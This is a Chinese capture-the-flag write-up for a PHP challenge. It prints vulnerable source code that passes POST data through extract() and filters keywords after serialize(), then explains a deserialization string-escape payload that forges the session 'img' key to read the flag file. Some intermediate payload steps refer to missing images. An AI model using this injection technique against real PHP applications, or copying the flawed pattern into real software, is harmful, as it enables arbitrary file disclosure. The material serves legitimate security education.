[安洵杯 2019]easy_serialize_php
看源码
对源码的一些解释已经注释在源码里了
<?php
$function = @$_GET['f'];
function filter($img){ //这里会过滤这几个字符
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){ //销毁session数组
unset($_SESSION);
}
$_SESSION["user"] = 'guest'; //创建数组(但是会被覆盖,所以没用)
$_SESSION['function'] = $function;
extract($_POST); //解析post上传的参数
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //将SESSION数组进行序列化再过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info); //将过滤以后的东西反序列化
echo file_get_contents(base64_decode($userinfo['img'])); //读取img文件
}
看了一堆,最终能给我们提供flag的是随后一行的file_get_contents
,我们的最终目标是构造一个SESSION数组使得其中是img
键对应的值为我们需要的flag。
首先题目的提示是看一下phpinfo,然后找到了
嗯,第一个目标是读取这个文件。
反序列化字符逃逸
首先举个栗子:
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>
很明显,后面的abc
被忽略了,因为序列化字符的构造必须符合规定,在;}
后就停止解析了。说完这个以后再举个栗子:
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这玩意序列化的结果如上,假设后台存在过滤动作,将flag
过滤,则会得到:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
加一个方括号帮助大家理解(方括号不是字符内容):
a:3:{s:4:"user";s:24:"【";s:8:"function";s:59:"a】";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
将这串字符串进行序列化会得到什么? 这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag
都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a
,读取这24个字符后以”;
结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
数组形式:
$_SESSION["user"]='";s:8:"function";s:59:"a';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
$_SESSION["dd"]='a';
实现逃逸
get传参:?f=show_function
下面描述如何构造post内容。
首先,假设我们不传post参数,那么SESSION数组将会这样:
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
$_SESSION['img'] = base64_encode('guest_img.png');
==>
array(3) {
["user"]=> string(24) "guest"
["function"]=> string(14) "highlight_file"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
==>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
然鹅我们想把后面的img给忽略掉,那就势必要构造一个新的img并把后面注释(用;}
)掉。
所以我们就要post上传一个SESSION数组。
而上传SESSION数组后,经过extract
函数的解析后将替换原来的SESSION数组,那么直接忽略前面两个键值对。比如我们上传一个
_SESSION['flag']=123
上传以后的数组:
$_SESSION['flag']="123";
$_SESSION['img'] = base64_encode('guest_img.png');
==>
array(2) {
["flag"]=> string(3) "123"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
==>
a:2:{s:4:"flag";i:123;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
我们需要在img
前面插入s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
构成:
(先确定大概方向,然后细节处微调)
那也就是说,黄背景处文字应该为我们上传的参数:
这一块长度为45
于是改为:
在看下面的图,因为青色部分被过滤而空出来了,所以红色部分会被第一部分吃掉,形成:s:4:"";s:45:"
红色部分有7个字符,所以前面还需要加三个,放php
正合适。再将黄背景部分补充一下:
搞定,而红色之后的部分就是我们需要输入的部分(引号不是):
在源码页:
/d0g3_fllllllag
base64加密后的结果是L2QwZzNfZmxsbGxsbGFn
,还是20位,所以还是原来的payload打上去,就是base64那边换一下就行。